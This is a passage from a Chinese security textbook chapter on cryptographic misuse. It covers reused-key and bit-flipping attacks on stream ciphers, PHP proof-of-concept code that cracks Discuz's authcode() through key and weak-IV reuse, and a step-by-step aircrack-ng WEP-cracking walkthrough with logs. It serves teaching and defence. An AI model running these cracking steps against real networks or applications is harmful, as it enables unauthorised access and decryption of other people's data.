加密算法与随机数

加密算法与伪随机数算法是开发中经常会用到的东西，但加密算法的专业性非常强，在Web开发中，如果对加密算法和伪随机数算法缺乏一定的了解，则很可能会错误地使用它们，最终导致应用出现安全问题。本章将就一些常见的问题进行探讨。

概述

密码学有着悠久的历史，它满足了人们对安全的最基本需求——保密性。密码学可以说是安全领域发展的基础。

达芬奇密码筒

在Web应用中，常常可以见到加密算法的身影，最常见的就是网站在将敏感信息保存到Cookie时使用的加密算法。加密算法的运用是否正确，与网站的安全息息相关。

常见的加密算法通常分为分组加密算法与流密码加密算法两种，两者的实现原理不同。

分组加密算法基于“分组”（block）进行操作，根据算法的不同，每个分组的长度可能不同。分组加密算法的代表有DES、3-DES、Blowfish、IDEA、AES等。下图演示了一个使用CBC模式的分组加密算法的加密过程。

流密码加密算法，则每次只处理一个字节，密钥独立于消息之外，两者通过异或实现加密与解密。流密码加密算法的代表有RC4、ORYX、SEAL等。下图演示了流密码加密算法的加密过程。

针对加密算法的攻击，一般根据攻击者能获得的信息，可以分为：

唯密文攻击

攻击者有一些密文，它们是使用同一加密算法和同一密钥加密的。这种攻击是最难的。

已知明文攻击

攻击者除了能得到一些密文外，还能得到这些密文对应的明文。本章中针对流密码的一些攻击为已知明文攻击。

选择明文攻击

攻击者不仅能得到一些密文和明文，还能选择用于加密的明文。

选择密文攻击

攻击者可以选择不同的密文来解密。本章中所提到的“Padding Oracle Attack”就是一种选择密文攻击。

密码学在整个安全领域中是非常大的一个课题，本书中仅探讨几种常见的加密算法在运用时的安全问题。

Stream Cipher Attack

流密码是常用的一种加密算法，与分组加密算法不同，流密码的加密是基于异或（XOR）操作进行的，每次都只操作一个字节。但流密码加密算法的性能非常好，因此也是非常受开发者欢迎的一种加密算法。常见的流密码加密算法有RC4、ORYX、SEAL等。

Reused Key Attack

在流密码的使用中，最常见的错误便是使用同一个密钥进行多次加/解密。这将使得破解流密码变得非常简单。这种攻击被称为“Reused Key At-tack”，在这种攻击下，攻击者不需要知道密钥，即可还原出明文。

假设有密钥C，明文A，明文B，那么，XOR加密可表示为：

1
2
3
E(A) = A xor C

E(B) = B xor C

密文是公之于众的，因此很容易就可计算：

1
E(A) xor E(B)

因为两个相同的数进行XOR运算结果为0，由此可得：

1
2
3
E(A) xor E(B) = (A xor C) xor (B xor C) = A

xor B xor C xor C = A xor B

从而得到了：

1
E(A) xor E(B) = A xor B

这意味着4个数据中，只需要知道3个，就可以推导出剩下的一个。这个公式中密钥C在哪里？已经完全不需要了！

我们来看一个实际的例子。在Ucenter中，有一个用于加密的函数，函数名为authcode()，它是一个典型的流密码加密算法。这个函数在Discuz!的产品中被广泛使用，同时很多PHP开源程序也直接引用此函数，甚至还有开发者实现了auth-code()函数的Java、Ruby版本。对这个函数的分析如下：

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
// $string： 明文 或 密文

// $operation：DECODE表示解密，其他表示加密

// $key： 密匙

// $expiry：密文有效期

//字符串解密/加密

function authcode($string, $operation =

'DECODE', $key = '', $expiry = 0) {

// 动态密匙长度，相同的明文会生成不同密文就是依靠动态密匙 (初始化向量IV)

$ckey_length = 4; // 随机密钥长度 取值

0～32

// 加入随机密钥，可以令密文无任何规律，即便是原文和密钥完全相同，加密结果也会每次不同

// 增大破解难度（实际上就是IV）

// 取值越大，密文变动规律越大，密文变化 = 16 的 $ckey_length 次方

// 当此值为 0 时，则不产生随机密钥

// 密匙

$key = md5($key ? $key : UC_KEY);

// 密匙a会参与加/解密

$keya = md5(substr($key, 0, 16));

// 密匙b会用来做数据完整性验证

$keyb = md5(substr($key, 16, 16));

// 密匙c用于变化生成的密文(初始化向量IV)

$keyc = $ckey_length ? ($operation ==

'DECODE' ? substr($string, 0, $ckey_length)

: substr(md5(microtime()), -$ckey_length)) :

'';

// 参与运算的密匙

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

// 明文，前10位用来保存时间戳，解密时验证数据有效性，10到26位用来保存$keyb(密匙b)

//解密时会通过这个密匙验证数据完整性

// 如果是解码的话，会从第$ckey_length位开始，因为密文前$ckey_length位保存动态密匙

//以保证解密正确

$string = $operation == 'DECODE' ?

base64_decode(substr($string,

$ckey_length)) : sp

rintf('%010d', $expiry ? $expiry + time() :

0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

// 产生密匙簿

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i %

$key_length]);

}

// 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上并不会增加密文的强度

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) %

256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

// 核心加/解密部分

for($a = $j = $i = 0; $i <

$string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

// 从密匙簿得出密匙进行异或，再转成字符

$result .= chr(ord($string[$i]) ^

($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

// 验证数据有效性，请看未加密明文的格式

if((substr($result, 0, 10) == 0 ||

substr($result, 0, 10) - time() > 0) &&

substr($result, 10, 16) ==

substr(md5(substr($result, 26).$keyb), 0,

16)) {

return substr($result, 26);

} else {

return '';

}

} else {

// 把动态密匙保存在密文里，这也是为什么同样的明文，产生不同密文后能解密的原因

// 因为加密后的密文可能是一些特殊字符，复制过程可能会丢失，所以用base64编码

return $keyc.str_replace('=', '',

base64_encode($result));

}

}

这个函数看似经过了一系列的复杂调用，其实到了最后，仍然还是逐字节地进行XOR运算，其实现XOR加密过程的代码只有一行：

1
2
3
$result .= chr(ord($string[$i]) ^

($box[($box[$a] + $box[$j]) % 256]));

再注意其他几个细节。首先，外部传入的加密KEY，其值会经过MD5运算，因此长度是固定的32位。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function authcode($string, $operation =

'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

authcode()这个函数的常见调用方式为：

1
authcode($plaintext, "ENCODE" , UC_KEY)

其中，UC_KEY为配置在每个应用中的密钥，但这个密钥并非真正用于XOR运算的那个密钥。

其次，keyc是初始化向量（IV）。如果定义了ckey_length，则它会根据microtime()的结果生成，并随后会影响到随机密钥的生成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ckey_length = 4;

……

$keyc = $ckey_length ? ($operation ==

'DECODE' ? substr($string, 0, $ckey_length):

substr(md5(microtime()), -$ckey_length)) :

'';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ?

base64_decode(substr($string,

$ckey_length)) :

sprintf('%010d', $expiry ? $expiry +

time() : 0).substr(md5($string.$keyb), 0,

16).$string;

……

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i %

$key_length]);

}

初始化向量的作用就是一次一密。使用随机的初始化向量，明文每次加密后产生的密文都是不同的，增加了密文的安全性。但初始化向量本身并不需要保证其私密性，甚至为了密文接收方能够成功解密，需要将初始化向量以明文的形式传播。

为了演示Reused Key Attack，暂且将ckey_length设置为0，这样就不会有初始化向量。下面为一段攻击的演示代码。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
<?php

define('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa'

);

$plaintext1 = "aaaabbbb";

$plaintext2 = "ccccbbbb";

echo "plaintext1 is: ".$plaintext1."<br>";

echo "plaintext2 is: ".$plaintext2."<br>";

$cipher1 =

base64_decode(substr(authcode($plaintext1,

"ENCODE" , UC_KEY), 0));

echo "Cipher1 is: ".hex($cipher1).'<br><br>';

$cipher2 =

base64_decode(substr(authcode($plaintext2,

"ENCODE" , UC_KEY), 0));

echo "Cipher2 is: ".hex($cipher2).'<br><br>';

function hex($str){

$result = '';

for ($i=0;$i<strlen($str);$i++){

$result .= "\\x".ord($str[$i]);

}

return $result;

}

echo "crack result is :".crack($plaintext1,

$cipher1, $cipher2);

function crack($plain, $cipher_p, $cipher_t){

$target = '';

$len = strlen($plain);

$tmp_p = substr($cipher_p, 26);

echo hex($tmp_p)."<br>";

$tmp_t = substr($cipher_t, 26);

echo hex($tmp_t)."<br>";

for ($i=0;$i<strlen($plain);$i++){

$target .= chr(ord($plain[$i]) ^

ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

echo "crack result is :".crack($plaintext1,

$cipher1, $cipher2);

function crack($plain, $cipher_p, $cipher_t){

$target = '';

$len = strlen($plain);

$tmp_p = substr($cipher_p, 26);

echo hex($tmp_p)."<br>";

$tmp_t = substr($cipher_t, 26);

echo hex($tmp_t)."<br>";

for ($i=0;$i<strlen($plain);$i++){

$target .= chr(ord($plain[$i]) ^

ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

function authcode($string, $operation =

'DECODE', $key = '', $expiry = 0) {

//$ckey_length = 4;

$ckey_length = 0;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation ==

'DECODE' ? substr($string, 0, $ckey_length):

substr(md5(microtime()), -$ckey_length)) :

'';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ?

base64_decode(substr($string,

$ckey_length)) :

sprintf('%010d', $expiry ? $expiry +

time() : 0).substr(md5($string.$keyb), 0,

16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i %

$key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) %

256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

$xx = ''; // real key

for($a = $j = $i = 0; $i <

$string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$xx .= chr($box[($box[$a] +

$box[$j]) % 256]);

$result .= chr(ord($string[$i]) ^

($box[($box[$a] + $box[$j]) % 256]));

}

echo "xor key is: ".hex($xx)."<br>";

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 ||

substr($result, 0, 10) - time() > 0) &&

substr($result, 10, 16) ==

substr(md5(substr($result, 26).$keyb), 0,

16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '',

base64_encode($result));

}

}

?>

结果如下：

输入的明文1是“aaaabbbb”，明文2是“cc-ccbbbb”。

通过authcode()的算法分别得到了两个密文Cipher1与Cipher2。根据算法，密文前10位用于验证时间，10到26位用于验证完整性，因此真正的密文是从第27位开始的，在此分别如下：

根据之前的公式：

1
E(A) xor E(B) = A xor B

已知任意3个值即可推算出剩下的一个值，因此有：

1
2
3
4
5
6
7
aaaabbbb XOR

‘\x227\x42\x31\x204\x251\x24\x114\x89’ XOR

‘\x225\x40\x29\x206\x251\x24\

x114\x89’ = ccccbbbb

从而还原出了明文。这个过程在crack()函数中描述：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function crack($plain, $cipher_p, $cipher_t){

$target = '';

$len = strlen($plain);

$tmp_p = substr($cipher_p, 26);

echo hex($tmp_p)."<br>";

$tmp_t = substr($cipher_t, 26);

echo hex($tmp_t)."<br>";

for ($i=0;$i<strlen($plain);$i++){

$target .= chr(ord($plain[$i]) ^

ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

这里之所以能攻击成功，是因为第一次加密时使用的密钥和第二次使用的密钥相同，因此我们才能通过XOR运算还原出明文，形成 Reused KeyAttack。

第一次加密时的key：

第二次加密时的key：

但如果存在初始化向量，则相同明文每次加密的结果均不同，将增加破解的难度，即不受此攻击影响。因此当：

1
$ckey_length = 4;

时（这也是默认值），authcode()将产生随机密钥，算法的强度也就增加了。

但如果IV不够随机，攻击者有可能找到相同的IV，则在相同IV的情况下仍然可以实施“Reused Key Attack”。在“WEP破解”一节中，就是找到了相同的IV，从而使得攻击成功。

Bit-flipping Attack

再次回到公式上来：

1
E(A) xor E(B) = A xor B

由此可以得出：

1
A xor E(A) xor B = E(B)

这意味着当知道A的明文、B的明文、A的密文时，可以推导出B的密文。这在实际应用中非常有用。

比如一个网站应用，使用Cookie作为用户身份的认证凭证，而Cookie的值是通过XOR加密而得的。认证的过程就是服务器端解密Cookie后，检查明文是否合法。假设明文是：

1
username+role

那么当攻击者注册了一个普通用户A时，获取了A的Cookie为Cookie(A)，就有可能构造出管理员的Cookie，从而获得管理员权限：

1
2
3
(accountA+member) xor Cookie(A) xor

(admin_account+manager) = Cookie(admin)

在密码学中，攻击者在不知道明文的情况下，通过改变密文，使得明文按其需要的方式发生改变的攻击方式，被称为Bit-flipping Attack。

解决Bit-flipping攻击的方法是验证密文的完整性，最常见的方法是增加带有KEY的MAC（消息验证码，Message Authentication Code），通过MAC验证密文是否被篡改。

MAC的防篡改原理图

通过哈希算法来实现的MAC，称为HMAC。HMAC由于其性能较好，而被广泛使用。如下图所示为HMAC的一种实现。

HMAC的实现过程

在authcode()中，其实已经实现了HMAC，所以攻击者在不知晓加密KEY的情况下，是无法完成Bit-flipping攻击的。

注意这段代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 ||

substr($result, 0, 10) - time() > 0) &&

substr($result,

10, 16) == substr(md5(substr($result, 26).

$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

其中，密文的前10个字节用于验证时间是否有效，10～26个字节即为HMAC，用于验证密文是否被篡改，26个字节之后才是真正的密文。

HMAC由以下代码实现：

1
md5(substr($result, 26).$keyb)

这个值与两个因素有关，一个是真正的密文：substr($result, 26)；一个是$keyb，而$keyb又是由加密密钥KEY变化得到的，因此在不知晓KEY的情况下，这个HMAC的值是无法伪造出来的。因此HMAC有效地保证了密文不会被篡改。

弱随机IV问题

在authcode()函数中，它默认使用了4字节的IV（就是函数中的keyc），使得破解难度增大。但其实4字节的IV是很脆弱的，它不够随机，我们完全可以通过“暴力破解”的方式找到重复的IV。为了验证这一点，调整一下破解程序，如下：

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
<?php

define('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa'

);

$plaintext1 = "aaaabbbbxxxx";

$plaintext2 = "ccccbbbbcccc";

$guess_result = "";

$time_start = time();

$dict = array();

global $ckey_length;

$ckey_length = 4;

echo "Collecting Dictionary(XOR Keys).\n";

$cipher2 = authcode($plaintext2, "ENCODE" ,

UC_KEY);

$counter = 0;

for (;;){

$counter ++;

$cipher1 = authcode($plaintext1,

"ENCODE" , UC_KEY);

$keyc1 = substr($cipher1, 0, $ckey_length);

$cipher1 = base64_decode(substr($cipher1,

$ckey_length));

$dict[$keyc1] = $cipher1;

if ( $counter%1000 == 0){

echo ".";

if ($guess_result = guess($dict,

$cipher2)){

break;

}

}

}

array_unique($dict);

echo "\nDictionary Collecting Finished..\n";

echo "Collected ".count($dict)." XOR Keys\n";

function guess($dict, $cipher2){

global $plaintext1,$ckey_length;

$keyc2 = substr($cipher2, 0, $ckey_length);

$cipher2 = base64_decode(substr($cipher2,

$ckey_length));

for ($i=0; $i<count($dict); $i++){

if (array_key_exists($keyc2, $dict)){

echo "\nFound key in dictionary!\n";

echo "keyc is: ".$keyc2."\n";

return crack($plaintext1,$dict[$keyc2],

$cipher2);

break;

}

}

return False;

}

echo "\ncounter is:".$counter."\n";

$time_spend = time() - $time_start;

echo "crack time is: ".$time_spend." seconds

\n";

echo "crack result is :".$guess_result."\n";

function crack($plain, $cipher_p, $cipher_t){

$target = '';

$tmp_p = substr($cipher_p, 26);

//echo hex($tmp_p)."\n";

$tmp_t = substr($cipher_t, 26);

//echo hex($tmp_t)."\n";

for ($i=0;$i<strlen($plain);$i++){

$target .= chr(ord($plain[$i]) ^

ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

function hex($str){

$result = '';

for ($i=0;$i<strlen($str);$i++){

$result .= "\\x".ord($str[$i]);

}

return $result;

}

function authcode($string, $operation =

'DECODE', $key = '', $expiry = 0) {

global $ckey_length;

//$ckey_length = 0;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation ==

'DECODE' ? substr($string, 0, $ckey_length):

substr(md5(microtime()), -$ckey_length)) :

'';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ?

base64_decode(substr($string,

$ckey_length)) :

sprintf('%010d', $expiry ? $expiry +

time() : 0).substr(md5($string.$keyb), 0,

16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i %

$key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) %

256;

$tmp = $box[$i];

$box[$i] = $box[$j];

substr($result, 10, 16) ==

substr(md5(substr($result, 26).$keyb), 0,

16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '',

base64_encode($result));

}

}

?>

运行结果如下：

在大约16秒后，共遍历了19295个不同的XOR KEY，找到了相同的IV，顺利破解出明文。

WEP破解

流密码加密算法存在“Reused Key Attack”和“Bit-flipping Attack”等攻击方式。而在现实中，一种最著名的针对流密码的攻击可能就是WEP密钥的破解。WEP是一种常用的无线加密传输协议，破解了WEP的密钥，就可以以此密钥连接无线的Access Point。WEP采用RC4算法，也存在这两种攻击方式。

Windows操作系统连接无线网络的选项

WEP在加密过程中，有两个关键因素，一个是初始化向量IV，一个是对消息的CRC-32校验。而这两者都可以通过一些方法克服。

IV以明文的形式发送，在WEP中采用24bit的IV，但这其实不是很大的一个值。假设一个繁忙的AP，以11Mbps的速度发送大小为1500bytes的包，则15008/(1110^6)*2^24 = ~18000秒，约为5个小时。因此最多5个小时，IV就将耗光，不得不开始出现重复的IV。在实际情况中，并非每个包都有1500bytes大小，因此时间会更短。

IV一旦开始重复，就会使得“Reused Key At-tack”成为可能。同时通过收集大量的数据包，找到相同的IV，构造出相同的CRC-32校验值，也可以成功实施“Bit-flipping Attack”。

2001年8月，破解WEP的理论变得可行了。Berkly的Nikita Borisov, Ian Goldberg以及David Wagner共同完成了一篇很好的论文：“Se-curity of the WEP algorithm”，其中深入阐述了WEP破解的理论基础。

实际破解WEP的步骤要稍微复杂一些，Air-crack实现了这一过程。

第一步：加载目标。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@segfault:/home/cg/eric-g# airodump-ng --

bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-g

CH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC

CIPHER AUTH ESSID

00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48

WEP WEP OPN eric-G

BSSID STATION PWR Lost Packets Probes

00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0

34189

第二步：与目标网络进行协商。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
root@segfault:/home/cg/eric-g# aireplay-ng

-1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h

06:19:7E:8E:72:87 ath2

22:53:23 Waiting for beacon frame (BSSID:

00:18:F8:F4:CF:E4)

22:53:23 Sending Authentication Request

22:53:23 Authentication successful

22:53:23 Sending Association Request

22:53:24 Association successful :-)

22:53:39 Sending keep-alive packet

22:53:54 Sending keep-alive packet

22:54:09 Sending keep-alive packet

22:54:24 Sending keep-alive packet

22:54:39 Sending keep-alive packet

22:54:54 Sending keep-alive packet

22:55:09 Sending keep-alive packet

22:55:24 Sending keep-alive packet

22:55:39 Sending keep-alive packet

22:55:54 Sending keep-alive packet

22:55:54 Got a deauthentication packet!

22:55:57 Sending Authentication Request

22:55:59 Sending Authentication Request

22:55:59 Authentication successful

22:55:59 Sending Association Request

22:55:59 Association successful :-)

22:56:14 Sending keep-alive packet

***KEEP THAT RUNNING

第三步：生成密钥流。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
root@segfault:/home/cg/eric-g# aireplay-ng

-5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87

ath2

22:59:41 Waiting for a data packet...

Read 873 packets...

Size: 352, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:18:F8:F4:CF:E4

Dest. MAC = 01:00:5E:7F:FF:FA

Source MAC = 00:18:F8:F4:CF:E2

0x0000: 0842 0000 0100 5e7f fffa 0018 f8f4

cfe4 .B....^........

0x0010: 0018 f8f4 cfe2 c0b5 121a 4600 0e18

0f3d ..........F....=

0x0020: bd80 8c41 de34 0437 8d2d c97f 2447

3d81 ...A.4.7.-.$G=.

0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443

8725 ..h..........C.%

0x0040: 87f6 9a14 1ff9 0cfa bd36 862e ec54

7215 .........6...Tr.

0x0050: 335b 4a91 d6a4 caae 5a58 a736 6230

87d9 3[J.....ZX.6b0..

0x0060: 4e14 7617 21c6 eda4 9b0d 3a00 0b4f

47ab N.v.!.....:..OG.

0x0070: a529 dedf 4c13 880c a1e6 37f7 50e6

599c .)..L.....7.P.Y.

0x0080: 0a4c 0b7f 24ae b019 ef2f 36b9 c499

8643 .L.$..../6....C

0x0090: 6592 5835 23e5 c8e9 d1b9 3d36 1fe5

ecfe e.X5#.....=6....

0x00a0: 510b 51ba 4fe4 e2ed d33b 0459 ca68

82b8 Q.Q.O....;.Y.h..

0x00b0: c856 ea70 829f c753 1614 290e d051

392f .V.p...S..)..Q9/

0x00c0: fa65 cbc6 c5f8 24b1 cdbd 94e5 08c3

2dd4 .e....$.......-.

0x00d0: 6e4b 983b dc82 b2cd b3f1 dab5 b816

6188 nK.;..........a.

--- CUT ---

Use this packet ? y

Saving chosen packet in

replay_src-1121-230028.cap

23:00:38 Data packet found!

23:00:38 Sending fragmented packet

23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

23:00:38 Trying to get 384 bytes of a

keystream

23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

23:00:38 Trying to get 1500 bytes of a

keystream

23:00:38 Got RELAYED packet!!

23:00:38 Thats our ARP packet!

Saving keystream in fragment-1121-230038.xor

Now you can build a packet with packetforge-

ng out of that 1500 bytes keystream

第四步：构造ARP包。

1
2
3
4
5
6
7
8
9
root@segfault:/home/cg/eric-g# packetforge-

ng -0 -a 00:18:F8:F4:CF:E4 -h

06:19:7E:8E:72:87 -k 255.255.255.255 -l

255.255.255.255 -w arp -y *.xor

Wrote packet to: arp

第五步：生成自己的ARP包。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@segfault:/home/cg/eric-g# aireplay-ng

-2 -r arp -x 150 ath2

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:18:F8:F4:CF:E4

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 06:19:7E:8E:72:87

0x0000: 0841 0201 0018 f8f4 cfe4 0619 7e8e

7287 .A..........~.r.

0x0010: ffff ffff ffff 8001 1f1a 4600 c9d3

e5e7 ..........F.....

0x0020: d65a 6a63 0b51 bb60 8390 a8b4 947d

456f .Zjc.Q.`.....}Eo

0x0030: 3a05 25b2 7464 7db7 c49b d38a f789

822c :.%.td}........,

0x0040: 83a8 93c5 ....

Use this packet ? y

Saving chosen packet in

replay_src-1121-230224.cap

第六步：开始破解。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
cg@segfault:~/eric-g$ aircrack-ng -z eric-

g-05.cap

Opening eric-g-05.cap

Read 64282 packets.

# BSSID ESSID Encryption

1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs)

Choosing first network as target.

Attack will be restarted every 5000 captured

ivs.

Starting PTW attack with 21397 ivs.

Aircrack-ng 0.9.1

[00:00:11] Tested 78120/140000 keys (got

22918 IVs)

KB depth byte(vote)

0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106)

B9( 106) E3( 106)

1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109)

33( 108) CD( 107)

2 6/ 18 91( 114) E7( 114) 21( 111) 0E( 110)

88( 109) C6( 109)

3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108)

9E( 108) 9B( 107)

4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111)

BB( 110) C1( 110)

KEY FOUND! [ 70:34:91:37:29 ]

Decrypted correctly: 100%

最终成功破解出WEP的KEY，可以免费蹭网了！

ECB模式的缺陷

前面讲到了流密码加密算法中的几种常见的攻击方法，在分组加密算法中，也有一些可能被攻击者利用的地方。如果开发者不熟悉这些问题，就有可能错误地使用加密算法，导致安全隐患。

对于分组加密算法来说，除去算法本身，还有一些通用的加密模式，不同的加密算法会支持同样的几种加密模式。常见的加密模式有：ECB、CBC、CFB、OFB、CTR等。如果加密模式被攻击，那么不论加密算法的密钥有多长，都可能不再安全。

ECB模式（电码簿模式）是最简单的一种加密模式，它的每个分组之间相对独立，其加密过程如下：

